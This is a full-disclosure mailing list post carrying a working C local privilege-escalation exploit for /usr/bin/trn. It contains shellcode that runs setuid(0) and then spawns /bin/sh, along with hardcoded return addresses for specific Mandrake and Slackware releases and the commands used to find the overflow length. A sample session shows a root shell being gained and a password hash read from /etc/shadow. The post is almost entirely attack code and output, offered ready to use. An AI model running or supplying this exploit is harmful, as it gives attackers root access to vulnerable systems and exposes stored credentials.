full-disclosure - /usr/bin/trn local root exploit

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Message-ID: <BAY18-F286BD1343A0E4E64E1C25DCF870@phx.gbl>
From: zzagorrzzagorr at hotmail.com (Z z a g o r R)
Subject: /usr/bin/trn local root exploit

/*
/usr/bin/trn local root exploit
By ZzagorR - http://www.rootbinbash.com
*/
/*
sh-2.05b$ ./trn
  usage   : ./trn ret buf
  example : ./trn 0xbfffff64
  [+] mandrake   9.2  = 0xbfffff96
  [+] slackware 10.0.0= 0xbfffff98
  [+] slackware  9.1.0= 0xbfffff84
sh-2.05b$
sh-2.05b$ ./trn 0xbfffff84 128
  [BOO  %] 128
  [RET  %] bfffff84
sh-2.05b#
sh-2.05b# id
  uid=0(root) gid=98(nobody) groups=98(nobody)
sh-2.05b# cat /etc/shadow
  root:$1$N88/N.aP$dBWcFHiYCXXNb77Y5LPNK1:12705:0:::::
TEST :
MANDRAKE 9.2
SLACKWARE 10.0.0
SLACKWARE 9.1.0
http://www.rootbinbas.com/d0kum4n/trn-test.txt
BOO:
$trn `perl -e 'print "A" x 120'`
$trn `perl -e 'print "A" x 124'`
$trn `perl -e 'print "A" x 128'`
  Segmentation fault
BOO=128
*/

#include <stdio.h>
#include <string.h>
#define NEREDE "/usr/bin/trn"

char caylarbeles[] =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
"\x31\xc0\x50\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e\x89\xe3\x50"
"\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

int main(int argc, char *argv[]){
int bizim;
char bufe[1000];
char *tayfasi;

if (argc < 3) {
  printf ("{           trn l0c4l r00t 3xpl01t          }\n");
  printf ("{  By ZzagorR - http://www.rootbinbash.com  }\n");
  printf ("{  usage   : %s ret buf                  }\n",argv[0]);
  printf ("{  example : %s 0xbfffff99 142           }\n",argv[0]);
  printf ("{  mandrake   9.2   = 0xbfffff96            }\n");
  printf ("{  slackware 10.0.0 = 0xbfffff98            }\n");
  printf ("{  slackware  9.1.0 = 0xbfffff84            }\n");
  exit(1);
}else{
  unsigned long RET=strtoul(argv[1], NULL, 16);
  int BOO = atoi(argv[2]);
   printf ("[BOO  %] %i\n",BOO);
   printf ("[RET  %] %x\n",RET);
  tayfasi = bufe;
  memset(bufe, 0x41,256-strlen(caylarbeles));
  sprintf(bufe+256-strlen(caylarbeles), "%s", caylarbeles);
  for ( bizim = BOO; bizim <= BOO+4; bizim+= 4 )
   *(long*)(tayfasi+bizim) = RET;
  execl(NEREDE, NEREDE , bufe, NULL);
}
}

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